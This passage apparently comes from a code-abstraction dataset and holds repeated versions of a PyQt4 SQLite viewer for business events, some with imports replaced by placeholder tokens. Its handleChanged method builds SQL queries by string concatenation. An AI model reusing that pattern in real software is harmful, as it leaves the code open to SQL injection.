parent = None):\n self.data = QtSql.QSqlDatabase.addDatabase(\"QSQLITE\")\n self.data.setDatabaseName(\"../Database/Business.db\")\n self.data.open()\n",
"from PyQt4 import QtCore, QtGui, QtSql\nimport sqlite3\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n\n def _fromUtf8(s):\n return s\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\n\nclass Ui_Form(object):\n\n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8('Form'))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0\n self.db = Database()\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n self.inWork = True\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8('bt_Later'))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,\n brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI Light'))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8('label'))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))\n self.cb_EventType.currentIndexChanged['QString'].connect(self.\n handleChanged)\n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI'))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8('label_2'))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n\n def initialize(self):\n self.cb_EventType.addItems(self.getBusinessEventsType())\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n\n def clicked_bt_Later(self):\n if self.eventSkip > 0:\n self.eventSkip = self.eventSkip - 1\n self.handleChanged(self.cb_EventType.currentText())\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n\n def _fromUtf8(s):\n return s\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\n\nclass Ui_Form(object):\n\n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8('Form'))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0\n self.db = Database()\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n self.inWork = True\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8('bt_Later'))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,\n brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI Light'))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8('label'))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))\n self.cb_EventType.currentIndexChanged['QString'].connect(self.\n handleChanged)\n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI'))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8('label_2'))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n\n def initialize(self):\n self.cb_EventType.addItems(self.getBusinessEventsType())\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n\n def clicked_bt_Later(self):\n if self.eventSkip > 0:\n self.eventSkip = self.eventSkip - 1\n self.handleChanged(self.cb_EventType.currentText())\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\n<code token>\n\n\nclass Ui_Form(object):\n\n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8('Form'))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0\n self.db = Database()\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n self.inWork = True\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8('bt_Later'))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,\n brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI Light'))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8('label'))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))\n self.cb_EventType.currentIndexChanged['QString'].connect(self.\n handleChanged)\n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI'))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8('label_2'))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n\n def initialize(self):\n self.cb_EventType.addItems(self.getBusinessEventsType())\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def 